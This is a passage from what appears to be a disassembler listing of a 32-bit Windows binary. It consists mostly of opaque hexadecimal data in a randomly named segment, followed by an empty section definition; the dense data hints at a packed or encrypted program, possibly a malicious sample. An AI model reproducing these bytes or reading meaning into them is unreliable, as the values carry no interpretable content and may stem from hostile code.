		dd 7709A5C2h, 996C3B7Eh, 5BF105E3h, 8AFAB664h, 1D4C5E84h
		dd 0A8341537h, 515B6C09h, 0D3433F19h, 0C7FAB461h, 0F1C26B1Ah
		dd 0C55857EAh, 78034D0Ch, 9D89CD25h, 0EABE1E0Ah, 465C7866h
		dd 0ADF367ADh, 952F1CE3h, 0B7D3A636h, 3F490D03h, 666830C1h
		dd 469CC661h, 3A07D1EEh, 6F22D61Ch, 6F198210h, 2C3378ADh
		dd 76183D48h, 579ECB47h, 49CEAFFBh, 57330AA6h, 206AF1CBh
		dd 6030AB9Fh, 0F065150Fh, 0A05409BEh, 99959F09h, 883CA4F5h
		dd 6B426765h, 0E1621243h, 1FF8D294h, 9538F811h,	0E4223122h
		dd 0F1F820D8h, 0EA23DA8Dh, 0C6FAC99h, 9F383766h, 0B420BA66h
		dd 17D0C6C3h, 7C350AB3h, 7A411896h, 0C709E146h,	0BF11E30Bh
		dd 0ED4BBA28h, 0C8B022EBh, 75284311h, 0C3CC0A1Ch, 0B31062E9h
		dd 0A2F78472h, 76EF018h, 6482D960h, 327E47E2h, 0C9941DF3h
		dd 0BF6275EDh, 7728C0DAh, 13BD1620h, 7691279h, 13028060h
		dd 0F1344199h, 4B7E80E2h, 2A110F6h, 0FE11A1CEh,	0A988315Fh
		dd 0D556CF9Ah, 1EA5383Dh, 234FB9F0h, 0F0243FA6h, 6D42728Ch
		dd 0E09B2904h, 4BE3322Dh, 0ECD5036Ah, 65A81F1Ah, 1D949A0Fh
		dd 0FFC07307h, 50B677AFh, 0D417A371h, 4F1C418Ah, 0DE018452h
		dd 4F93B5D4h, 0D2FE40F6h, 41F6CDCAh, 0B9C2AD9Ah, 0CEE651BCh
		dd 0F3906097h, 0E0339EA1h, 0B17648E2h, 8ACF447Bh, 5778DF3Eh
		dd 9FB06705h, 0F5FBB73Dh, 54848B4Dh, 0BD4A5CA3h, 21DD8F58h
		dd 980FA02Ah, 2CEEE46h,	0C5FE4CDEh, 621CC768h, 99A16682h
		dd 7ECAB082h, 3104F30h,	0CB3FC6F7h, 380h dup(0)
c9dxisfm	ends

; Section 7. (virtual address 00040000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00040000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 440000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start